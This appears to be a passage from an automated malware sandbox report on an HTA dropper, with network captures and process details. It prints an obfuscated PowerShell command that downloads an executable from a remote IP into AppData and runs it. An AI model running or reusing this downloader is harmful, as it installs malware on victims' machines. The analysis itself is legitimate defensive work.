                                                                                  Dec 18, 2024 15:35:44.186976910 CET1236INData Raw: 6f fc ff ff 89 e8 5d 5f 5e 5b c3 8b 47 fc a8 01 0f 84 e1 00 00 00 83 e0 f0 8d 2c 01 39 ea 0f 87 d3 00 00 00 80 3d 4d 30 47 00 00 74 4f b8 00 01 00 00 f0 0f b0 25 18 37 47 00 74 27 51 52 6a 00 e8 66 f4 ff ff 5a 59 b8 00 01 00 00 f0 0f b0 25 18 37
                                                                                  Data Ascii: o]_^[G,9=M0GtO%7Gt'QRjfZY%7GtQRjLZY#^Gt~,9wt=0rQRZY1)!%0U)w$.T.z|00rn7G]_^[
                                                                                  Dec 18, 2024 15:35:44.187201023 CET1236INData Raw: e8 d2 ef ff ff b9 c0 57 47 00 b2 01 33 c0 e8 34 f0 ff ff 84 c0 74 19 6a 0a e8 b9 ef ff ff b9 c0 57 47 00 b2 01 33 c0 e8 1b f0 ff ff 84 c0 75 ce 83 3d bc 57 47 00 00 75 18 6a 04 68 00 10 00 00 68 00 00 01 00 6a 00 e8 7b ef ff ff a3 bc 57 47 00 83
                                                                                  Data Ascii: WG34tjWG3u=WGujhhj{WG=WG@St)WG8?}WGWG\WG3WG[SVWWG3?t?>t6J|&B3;tuT@JuWG_^
                                                                                  Dec 18, 2024 15:35:44.187215090 CET1236INData Raw: 0f 00 00 0f b6 8d d8 86 fd ff 8d 85 d9 86 fd ff 8b d3 e8 08 fa ff ff 8b d8 c6 03 20 43 c6 03 78 43 c6 03 20 43 8b 06 8b d3 e8 d5 f8 ff ff 8b d8 4f 83 ee 08 83 ff ff 0f 85 e9 fe ff ff 8b 85 e4 47 fe ff 89 85 e8 47 fe ff 81 85 d8 47 fe ff 00 08 00
                                                                                  Data Ascii: CxC COGGGG GG~zGtCCCC*@<GOrCGGGt,C C2;wGOuX*@
                                                                                  Dec 18, 2024 15:35:44.187227011 CET1236INData Raw: 3f 3b 00 00 83 b8 00 00 00 00 00 74 0f e8 31 3b 00 00 8b 80 00 00 00 00 8b 40 08 c3 33 c0 c3 e8 1f 3b 00 00 83 b8 00 00 00 00 00 74 0f e8 11 3b 00 00 8b 80 00 00 00 00 8b 40 04 c3 33 c0 c3 53 56 e8 fd 3a 00 00 83 b8 00 00 00 00 00 74 1a e8 ef 3a
                                                                                  Data Ascii: ?;t1;@3;t;@3SV:t:^:3F3^[@GSV=0Gt0Gu:w4G^[@$PRQd:YZXu1
                                                                                  Dec 18, 2024 15:35:44.187238932 CET1236INData Raw: 02 dd 54 02 08 89 c1 83 e1 07 83 e9 08 29 c8 01 ca 01 d0 f7 da dd 14 02 dd 54 02 08 83 c2 10 7c f4 dd c0 c3 90 90 90 85 d2 7e 50 88 4c 02 ff 83 e2 fe f7 da 8d 14 55 b0 32 40 00 ff e2 90 90 66 89 48 1c 66 89 48 1a 66 89 48 18 66 89 48 16 66 89 48
                                                                                  Data Ascii: T)T|~PLU2@fHfHfHfHfHfHfHfHfHfHfHfHfHfHf@SVWPtl11F t-tb+t_$t_xtZXtU0uFxtHXtCt t-0w%9w!Fut}T
                                                                                  Dec 18, 2024 15:35:44.306577921 CET1236INData Raw: 55 68 4d 37 40 00 64 ff 30 64 89 20 c7 45 f4 04 00 00 00 8d 45 f4 50 8d 45 f8 50 6a 00 6a 00 68 90 37 40 00 8b 45 fc 50 e8 de db ff ff 33 c0 5a 59 59 64 89 10 68 54 37 40 00 8b 45 fc 50 e8 b8 db ff ff c3 e9 1e 09 00 00 eb ef 0f b7 05 20 10 47 00
                                                                                  Data Ascii: UhM7@d0d EEPEPjjh7@EP3ZYYdhT7@EP Gf%Uf?ff G]SOFTWARE\Borland\Delphi\RTLFPUMaskValue- GyVWp1A_^@USV3M3UhW8@d0d


                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                  1192.168.2.449740178.237.33.50805368C:\Windows\SysWOW64\colorcpl.exe
                                                                                  TimestampBytes transferredDirectionData
                                                                                  Dec 18, 2024 15:36:01.928278923 CET71OUTGET /json.gp HTTP/1.1
                                                                                  Host: geoplugin.net
                                                                                  Cache-Control: no-cache
                                                                                  Dec 18, 2024 15:36:03.170260906 CET1171INHTTP/1.1 200 OK
                                                                                  date: Wed, 18 Dec 2024 14:36:02 GMT
                                                                                  server: Apache
                                                                                  content-length: 963
                                                                                  content-type: application/json; charset=utf-8
                                                                                  cache-control: public, max-age=300
                                                                                  access-control-allow-origin: *
                                                                                  Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 31 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 [TRUNCATED]
                                                                                  Data Ascii: { "geoplugin_request":"8.46.123.189", "geoplugin_status":200, "geoplugin_delay":"1ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7503", "geoplugin_longitude":"-74.0014", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}


                                                                                  HTTPS Proxied Packets

                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                  0192.168.2.449736103.82.231.1174436500C:\Users\user\AppData\Roaming\nicerose.exe
                                                                                  TimestampBytes transferredDirectionData
                                                                                  2024-12-18 14:35:53 UTC168OUTGET /docs/233_Emxwenemixg HTTP/1.1
                                                                                  Connection: Keep-Alive
                                                                                  Accept: */*
                                                                                  User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                  Host: www.maan2u.com
                                                                                  2024-12-18 14:35:53 UTC365INHTTP/1.1 200 OK
                                                                                  Connection: close
                                                                                  last-modified: Tue, 17 Dec 2024 23:16:52 GMT
                                                                                  accept-ranges: bytes
                                                                                  content-length: 1129840
                                                                                  date: Wed, 18 Dec 2024 14:35:53 GMT
                                                                                  server: LiteSpeed
                                                                                  alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
                                                                                  2024-12-18 14:35:54 UTC16384INData Raw: 70 71 36 6c 57 53 4f 6e 73 55 73 51 45 68 41 6b 44 68 77 66 46 67 34 51 45 43 45 6b 49 51 38 53 45 78 30 6a 4a 78 6b 68 46 79 45 5a 46 77 34 64 45 79 45 6b 47 42 6f 4f 48 68 51 62 44 78 4d 65 45 69 55 55 48 68 55 58 45 79 63 66 4a 52 77 63 46 43 55 6e 4a 69 41 66 47 77 34 69 46 78 34 65 49 78 51 54 44 69 63 61 48 42 51 6a 4a 42 41 52 4a 79 41 57 46 52 4d 53 4a 77 38 6e 47 51 38 6b 70 71 36 6c 57 53 4f 6e 73 55 74 51 47 69 55 6b 45 68 73 53 47 68 59 6c 46 4b 61 75 70 56 6b 6a 70 37 46 4c 77 37 33 44 7a 38 48 48 30 73 6e 42 77 38 76 48 6a 46 61 42 51 45 41 76 6a 76 68 67 36 72 30 58 49 67 4b 74 35 61 37 66 44 53 49 2b 53 73 37 41 79 55 6a 57 37 76 7a 58 76 30 6d 36 37 37 37 31 36 31 75 70 38 6d 52 4d 73 69 39 58 39 76 4f 42 56 38 49 6c 53 2f 6e 55 4b 51 75
                                                                                  Data Ascii: pq6lWSOnsUsQEhAkDhwfFg4QECEkIQ8SEx0jJxkhFyEZFw4dEyEkGBoOHhQbDxMeEiUUHhUXEycfJRwcFCUnJiAfGw4iFx4eIxQTDicaHBQjJBARJyAWFRMSJw8nGQ8kpq6lWSOnsUtQGiUkEhsSGhYlFKaupVkjp7FLw73Dz8HH0snBw8vHjFaBQEAvjvhg6r0XIgKt5a7fDSI+Ss7AyUjW7vzXv0m6777161up8mRMsi9X9vOBV8IlS/nUKQu
                                                                                  2024-12-18 14:35:54 UTC16384INData Raw: 47 2b 6a 77 35 72 6a 67 77 39 39 77 37 6e 7a 6b 6d 2f 42 4f 35 31 58 66 57 74 78 62 33 74 37 70 38 39 2f 65 38 30 62 6d 4d 64 34 79 2b 37 6a 79 4b 4f 63 6f 37 4f 62 75 78 4d 36 2f 76 6a 2f 61 78 4a 65 2f 45 35 63 67 55 78 4a 36 49 57 63 6f 62 42 53 42 46 49 46 62 69 43 73 49 4b 31 6b 70 37 68 77 7a 4b 54 51 72 2f 42 63 6c 57 79 63 6f 46 68 6a 78 48 76 6f 6b 74 68 36 66 4b 61 41 6f 71 68 66 4c 48 73 63 61 7a 78 2f 58 4a 33 45 6d 63 79 68 67 49 58 45 6e 6d 78 75 55 49 49 41 6f 68 52 4e 2b 48 50 38 66 56 52 59 4a 47 6c 67 58 44 53 66 37 45 2f 41 67 4c 68 64 49 57 7a 77 54 4f 69 49 56 4a 78 73 54 49 52 4d 64 4b 2b 39 62 35 31 75 76 4b 70 30 62 6e 43 71 34 57 38 30 5a 30 43 62 4f 4b 73 73 61 76 79 52 78 48 70 63 6b 55 79 63 47 4b 6b 63 5a 45 53 50 65 46 2b 55
                                                                                  Data Ascii: G+jw5rjgw99w7nzkm/BO51XfWtxb3t7p89/e80bmMd4y+7jyKOco7ObuxM6/vj/axJe/E5cgUxJ6IWcobBSBFIFbiCsIK1kp7hwzKTQr/BclWycoFhjxHvokth6fKaAoqhfLHscazx/XJ3EmcyhgIXEnmxuUIIAohRN+HP8fVRYJGlgXDSf7E/AgLhdIWzwTOiIVJxsTIRMdK+9b51uvKp0bnCq4W80Z0CbOKssavyRxHpckUycGKkcZESPeF+U
                                                                                  2024-12-18 14:35:54 UTC16384INData Raw: 30 34 7a 48 77 51 6d 56 76 64 58 46 77 38 36 38 76 63 50 50 76 73 66 53 79 62 37 44 77 38 7a 51 7a 4d 4b 39 77 64 44 4f 32 73 76 4d 79 73 7a 4c 79 73 48 51 77 63 7a 50 79 38 72 42 30 62 2f 4a 77 72 37 52 77 74 69 2f 30 63 66 4b 76 74 72 4e 32 4d 66 48 77 4e 6a 61 32 63 7a 53 78 73 48 53 79 74 48 52 30 62 2b 2b 77 64 58 46 78 37 2f 52 7a 38 4f 38 31 64 50 4a 79 4d 47 39 32 73 4c 56 78 4d 4c 50 76 4c 33 43 7a 37 37 48 74 73 6d 2b 73 6b 57 6b 30 44 4f 49 35 38 45 32 6c 76 50 4c 71 43 58 4f 79 38 71 72 30 4d 48 4f 2b 4d 72 4b 6f 54 47 76 79 62 42 4a 71 4d 4c 72 4d 4b 50 48 74 52 32 64 7a 64 69 32 78 38 41 72 6c 37 33 4d 30 70 4f 2b 7a 63 72 52 30 63 36 2f 76 73 48 61 78 63 65 2f 7a 73 2f 44 76 4e 72 54 79 63 69 2b 76 64 72 43 32 73 54 43 7a 38 4f 39 77 38 2b
                                                                                  Data Ascii: 04zHwQmVvdXFw868vcPPvsfSyb7Dw8zQzMK9wdDO2svMyszLysHQwczPy8rB0b/Jwr7Rwti/0cfKvtrN2MfHwNja2czSxsHSytHR0b++wdXFx7/Rz8O81dPJyMG92sLVxMLPvL3Cz77Htsm+skWk0DOI58E2lvPLqCXOy8qr0MHO+MrKoTGvybBJqMLrMKPHtR2dzdi2x8Arl73M0pO+zcrR0c6/vsHaxce/zs/DvNrTyci+vdrC2sTCz8O9w8+
                                                                                  2024-12-18 14:35:54 UTC16384INData Raw: 79 72 37 61 30 74 6a 48 78 37 2f 59 32 74 6e 54 30 73 62 42 30 73 70 54 79 74 48 6d 34 4f 76 56 6e 7a 53 33 30 62 4d 34 73 4e 57 74 4f 4c 58 42 4b 67 47 71 31 62 4d 6e 7a 62 7a 71 45 5a 32 2b 36 56 4b 63 76 76 48 73 6f 74 43 33 34 4b 58 42 30 41 6a 56 78 4d 7a 4b 7a 4d 54 4b 77 64 43 2b 7a 4d 2f 4c 78 63 48 52 76 38 6e 43 44 4d 72 43 44 56 73 57 78 38 71 31 32 73 32 63 48 63 54 41 32 50 72 5a 7a 4e 4c 32 77 64 4c 4b 72 4e 48 52 76 35 37 42 31 63 58 67 76 39 48 50 75 72 7a 56 75 71 43 68 77 62 30 45 76 64 72 45 77 73 2f 44 76 63 50 50 77 63 66 53 79 63 48 44 77 38 7a 51 7a 41 6a 57 77 51 30 57 46 38 76 4d 79 73 7a 4c 48 31 65 36 77 66 52 5a 6e 73 71 73 47 72 6e 4a 36 67 75 31 77 76 49 50 74 63 66 67 43 71 7a 4e 32 4d 66 48 77 4c 47 73 73 4d 7a 53 54 72 37
                                                                                  Data Ascii: yr7a0tjHx7/Y2tnT0sbB0spTytHm4OvVnzS30bM4sNWtOLXBKgGq1bMnzbzqEZ2+6VKcvvHsotC34KXB0AjVxMzKzMTKwdC+zM/LxcHRv8nCDMrCDVsWx8q12s2cHcTA2PrZzNL2wdLKrNHRv57B1cXgv9HPurzVuqChwb0EvdrEws/DvcPPwcfSycHDw8zQzAjWwQ0WF8vMyszLH1e6wfRZnsqsGrnJ6gu1wvIPtcfgCqzN2MfHwLGssMzSTr7
                                                                                  2024-12-18 14:35:54 UTC16384INData Raw: 7a 4d 4b 39 76 74 44 4f 32 73 54 4d 79 73 7a 45 79 73 48 51 76 73 7a 50 79 38 58 42 30 62 2f 47 77 72 37 52 76 64 69 2f 30 63 6a 4b 76 74 72 53 32 4d 66 48 76 39 6a 61 32 64 50 53 78 73 48 4e 79 74 48 52 7a 72 2b 2b 77 64 72 46 78 37 2f 4f 7a 38 4f 38 32 74 50 4a 79 4c 36 39 32 73 4c 61 78 4d 4c 50 77 37 33 44 7a 38 48 48 30 73 6e 42 77 38 50 4d 7a 38 7a 43 76 62 37 51 7a 74 72 45 7a 4d 72 4d 78 4d 72 42 30 4c 37 4d 7a 38 76 46 77 64 47 2f 78 73 4b 2b 30 62 33 59 76 39 48 49 79 72 37 61 30 74 6a 48 78 37 2f 59 32 74 6e 54 30 73 62 42 7a 63 72 52 30 63 36 2f 76 73 48 61 78 63 65 2f 7a 73 2f 44 76 4e 72 54 79 63 69 2b 76 64 72 43 32 73 54 43 7a 38 4f 39 77 38 2f 42 78 39 4c 4a 77 63 50 44 7a 4d 2f 4d 77 72 32 2b 30 4d 37 61 78 4d 7a 4b 7a 4d 54 4b 77 64 43
                                                                                  Data Ascii: zMK9vtDO2sTMyszEysHQvszPy8XB0b/Gwr7Rvdi/0cjKvtrS2MfHv9ja2dPSxsHNytHRzr++wdrFx7/Oz8O82tPJyL692sLaxMLPw73Dz8HH0snBw8PMz8zCvb7QztrEzMrMxMrB0L7Mz8vFwdG/xsK+0b3Yv9HIyr7a0tjHx7/Y2tnT0sbBzcrR0c6/vsHaxce/zs/DvNrTyci+vdrC2sTCz8O9w8/Bx9LJwcPDzM/Mwr2+0M7axMzKzMTKwdC
                                                                                  2024-12-18 14:35:54 UTC16384INData Raw: 78 63 65 2f 7a 73 2f 44 76 4e 72 54 79 63 69 2b 76 64 72 43 32 73 54 43 7a 38 4f 39 77 38 2f 42 78 39 4c 4a 77 63 50 44 7a 4d 2f 4d 77 72 32 2b 30 4d 37 61 78 4d 7a 4b 7a 4d 54 4b 77 64 43 2b 7a 4d 2f 4c 78 63 48 52 76 38 62 43 76 74 47 39 32 4c 2f 52 79 4d 71 2b 32 74 4c 59 78 38 65 2f 32 4e 72 5a 30 39 4c 47 77 63 33 4b 30 64 48 4f 76 37 37 42 32 73 58 48 76 38 37 50 77 37 7a 61 30 38 6e 49 76 72 33 61 77 74 72 45 77 73 2f 44 76 63 50 50 77 63 66 53 79 63 48 44 77 38 7a 50 7a 4d 4b 39 76 74 44 4f 32 73 54 4d 79 73 7a 45 79 73 48 51 76 73 7a 50 79 38 58 42 30 62 2f 47 77 72 37 52 76 64 69 2f 30 63 6a 4b 76 74 72 53 32 4d 66 48 76 39 6a 61 32 64 50 53 78 73 48 4e 79 74 48 52 7a 72 2b 2b 77 64 72 46 78 37 2f 4f 7a 38 4f 38 32 74 50 4a 79 4c 36 39 32 73 4c
                                                                                  Data Ascii: xce/zs/DvNrTyci+vdrC2sTCz8O9w8/Bx9LJwcPDzM/Mwr2+0M7axMzKzMTKwdC+zM/LxcHRv8bCvtG92L/RyMq+2tLYx8e/2NrZ09LGwc3K0dHOv77B2sXHv87Pw7za08nIvr3awtrEws/DvcPPwcfSycHDw8zPzMK9vtDO2sTMyszEysHQvszPy8XB0b/Gwr7Rvdi/0cjKvtrS2MfHv9ja2dPSxsHNytHRzr++wdrFx7/Oz8O82tPJyL692sL
                                                                                  2024-12-18 14:35:54 UTC16384INData Raw: 77 72 37 52 76 64 69 2f 30 63 6a 4b 76 74 72 53 32 4d 66 48 76 39 6a 61 32 64 50 53 78 73 48 4e 79 74 48 52 7a 72 2b 2b 77 64 72 46 78 37 2f 4f 7a 38 4f 38 32 74 50 4a 79 4c 36 39 32 73 4c 61 78 4d 4c 50 77 37 33 44 7a 38 48 48 30 73 6e 42 77 38 50 4d 7a 38 7a 43 76 62 37 51 7a 74 72 45 7a 4d 72 4d 78 4d 72 42 30 4c 37 4d 7a 38 76 46 77 64 47 2f 78 73 4b 2b 30 62 33 59 76 39 48 49 79 72 37 61 30 74 6a 48 78 37 2f 59 32 74 6e 54 30 73 62 42 7a 63 72 52 30 63 36 2f 76 73 48 61 78 63 65 2f 7a 73 2f 44 76 4e 72 54 79 63 69 2b 76 64 72 43 32 73 54 43 7a 38 4f 39 77 38 2f 42 78 39 4c 4a 77 63 50 44 7a 4d 2f 4d 77 72 32 2b 30 4d 37 61 78 4d 7a 4b 7a 4d 54 4b 77 64 43 2b 7a 4d 2f 4c 78 63 48 52 76 38 62 43 76 74 47 39 32 4c 2f 52 79 4d 71 2b 32 74 4c 59 78 38 65
                                                                                  Data Ascii: wr7Rvdi/0cjKvtrS2MfHv9ja2dPSxsHNytHRzr++wdrFx7/Oz8O82tPJyL692sLaxMLPw73Dz8HH0snBw8PMz8zCvb7QztrEzMrMxMrB0L7Mz8vFwdG/xsK+0b3Yv9HIyr7a0tjHx7/Y2tnT0sbBzcrR0c6/vsHaxce/zs/DvNrTyci+vdrC2sTCz8O9w8/Bx9LJwcPDzM/Mwr2+0M7axMzKzMTKwdC+zM/LxcHRv8bCvtG92L/RyMq+2tLYx8e
                                                                                  2024-12-18 14:35:54 UTC16384INData Raw: 45 34 62 71 77 52 65 58 54 38 38 71 6c 76 69 2b 30 4d 36 66 78 4d 7a 4b 7a 63 54 4b 77 64 43 2b 4b 6f 73 74 78 52 58 4b 44 4d 62 43 76 74 47 39 32 4c 2f 52 79 4d 71 2b 32 74 49 65 6b 37 65 2f 32 4e 6f 58 30 39 4c 47 77 64 4c 46 7a 73 37 4f 76 37 37 42 32 73 58 48 76 4d 34 72 32 44 6a 61 30 38 6e 49 76 68 6b 4a 79 74 6f 53 54 79 58 44 47 56 43 54 77 52 4f 47 36 73 45 58 6c 36 7a 50 7a 4d 4b 35 76 74 44 4f 32 38 54 4d 79 73 7a 45 45 4a 57 67 76 69 72 45 4c 63 58 42 30 62 2f 47 77 72 37 52 76 64 69 2f 30 63 67 51 54 4a 62 53 32 4d 63 70 76 39 6a 61 32 63 7a 4e 79 62 37 4e 79 74 48 52 7a 72 2b 2b 77 74 6f 52 7a 42 33 4f 7a 38 4f 38 32 69 64 61 77 4c 34 5a 43 52 72 61 45 6b 2b 54 77 78 6c 50 62 38 45 54 41 6e 58 42 77 38 4f 6f 7a 38 7a 43 76 4c 37 51 7a 74 72
                                                                                  Data Ascii: E4bqwReXT88qlvi+0M6fxMzKzcTKwdC+KostxRXKDMbCvtG92L/RyMq+2tIek7e/2NoX09LGwdLFzs7Ov77B2sXHvM4r2Dja08nIvhkJytoSTyXDGVCTwROG6sEXl6zPzMK5vtDO28TMyszEEJWgvirELcXB0b/Gwr7Rvdi/0cgQTJbS2Mcpv9ja2czNyb7NytHRzr++wtoRzB3Oz8O82idawL4ZCRraEk+TwxlPb8ETAnXBw8Ooz8zCvL7Qztr
                                                                                  2024-12-18 14:35:54 UTC16384INData Raw: 79 74 48 52 7a 72 2b 2b 77 64 72 46 78 37 2f 4f 7a 38 4f 38 32 74 50 4a 79 4c 36 39 32 73 4c 61 78 4d 4c 50 77 37 33 44 7a 38 48 48 30 73 6e 42 77 38 50 4d 7a 38 7a 43 76 62 37 51 7a 74 6f 53 4b 68 41 71 45 68 41 56 4a 68 77 71 4b 77 38 52 46 53 55 62 45 78 67 63 4a 52 6b 65 47 79 55 4f 45 42 77 67 4b 42 34 54 45 78 73 65 49 42 30 6e 4b 42 51 56 4b 52 41 6c 4a 56 73 62 48 42 58 61 78 63 65 2f 7a 73 2f 44 33 4c 6e 79 49 75 69 66 49 42 39 46 32 73 54 43 7a 73 4f 39 77 37 66 42 78 39 4c 49 77 63 50 44 6c 4d 2f 4d 77 72 69 2b 30 4d 37 61 78 4b 54 4b 71 42 62 67 77 64 43 2b 7a 4d 2f 4c 78 63 48 52 76 38 62 43 76 74 47 39 32 4c 2f 52 79 4d 71 2b 32 74 4c 59 78 38 65 2f 32 4e 72 5a 30 39 4c 47 77 63 33 4b 30 64 48 4f 76 37 37 42 32 73 58 48 76 38 37 50 77 37 7a
                                                                                  Data Ascii: ytHRzr++wdrFx7/Oz8O82tPJyL692sLaxMLPw73Dz8HH0snBw8PMz8zCvb7QztoSKhAqEhAVJhwqKw8RFSUbExgcJRkeGyUOEBwgKB4TExseIB0nKBQVKRAlJVsbHBXaxce/zs/D3LnyIuifIB9F2sTCzsO9w7fBx9LIwcPDlM/Mwri+0M7axKTKqBbgwdC+zM/LxcHRv8bCvtG92L/RyMq+2tLYx8e/2NrZ09LGwc3K0dHOv77B2sXHv87Pw7z
                                                                                  2024-12-18 14:35:54 UTC16384INData Raw: 59 4f 67 4c 6d 50 59 2b 79 61 62 64 78 44 59 59 65 37 78 52 6c 4d 42 47 67 61 30 47 46 4e 59 6d 67 30 56 69 47 2f 52 49 56 72 65 64 68 5a 4c 68 49 44 64 45 75 4d 47 51 6e 68 7a 50 77 37 79 78 30 38 6e 49 44 37 33 61 77 68 62 45 77 73 2b 6a 76 63 50 50 73 63 66 53 79 62 6e 44 77 38 79 72 7a 4d 4b 39 76 4e 44 4f 32 73 58 4d 79 73 7a 45 79 73 48 71 4f 45 55 37 4c 45 45 32 35 44 77 78 4e 7a 68 4b 2b 45 6f 34 46 4b 67 34 4e 39 31 41 50 66 4f 6e 35 50 72 33 2b 62 4d 31 44 6b 50 4e 79 74 48 52 53 54 51 34 4e 54 63 31 38 70 2f 71 52 61 4d 33 32 74 50 4a 79 44 6b 32 50 44 51 33 4e 76 65 76 4d 54 36 6a 53 73 48 48 73 75 76 68 39 79 33 70 7a 30 67 7a 2b 6a 4e 43 52 7a 37 45 53 44 72 71 70 43 30 36 52 6a 67 74 4f 2b 37 46 77 64 48 31 4d 44 63 73 52 6b 6b 39 2b 6a 4c
                                                                                  Data Ascii: YOgLmPY+yabdxDYYe7xRlMBGga0GFNYmg0ViG/RIVredhZLhIDdEuMGQnhzPw7yx08nID73awhbEws+jvcPPscfSybnDw8yrzMK9vNDO2sXMyszEysHqOEU7LEE25DwxNzhK+Eo4FKg4N91APfOn5Pr3+bM1DkPNytHRSTQ4NTc18p/qRaM32tPJyDk2PDQ3NvevMT6jSsHHsuvh9y3pz0gz+jNCRz7ESDrqpC06RjgtO+7FwdH1MDcsRkk9+jL


                                                                                  Statistics

                                                                                  CPU Usage

                                                                                  Click to jump to process

                                                                                  Memory Usage

                                                                                  Click to jump to process

                                                                                  High Level Behavior Distribution

                                                                                  Click to dive into process behavior distribution

                                                                                  Behavior

                                                                                  Click to jump to process

                                                                                  System Behavior

                                                                                  General

                                                                                  Target ID:0
                                                                                  Start time:09:35:35
                                                                                  Start date:18/12/2024
                                                                                  Path:C:\Windows\SysWOW64\mshta.exe
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:mshta.exe "C:\Users\user\Desktop\greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta"
                                                                                  Imagebase:0x7c0000
                                                                                  File size:13'312 bytes
                                                                                  MD5 hash:06B02D5C097C7DB1F109749C45F3F505
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:C, C++ or other language
                                                                                  Reputation:moderate
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:1
                                                                                  Start time:09:35:36
                                                                                  Start date:18/12/2024
                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                  Wow64 process (32bit):true
                                                                                  Commandline:"C:\Windows\system32\cmd.exe" "/C PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"
                                                                                  Imagebase:0x240000
                                                                                  File size:236'544 bytes
                                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
                                                                                  Programmed in:C, C++ or other language
                                                                                  Reputation:high
                                                                                  Has exited:true

                                                                                  General

                                                                                  Target ID:2
                                                                                  Start time:09:35:37
                                                                                  Start date:18/12/2024
                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                  Wow64 process (32bit):false
                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                  Imagebase:0x7ff7699e0000
                                                                                  File size:862'208 bytes
                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                  Has elevated privileges:true
                                                                                  Has administrator privileges:true
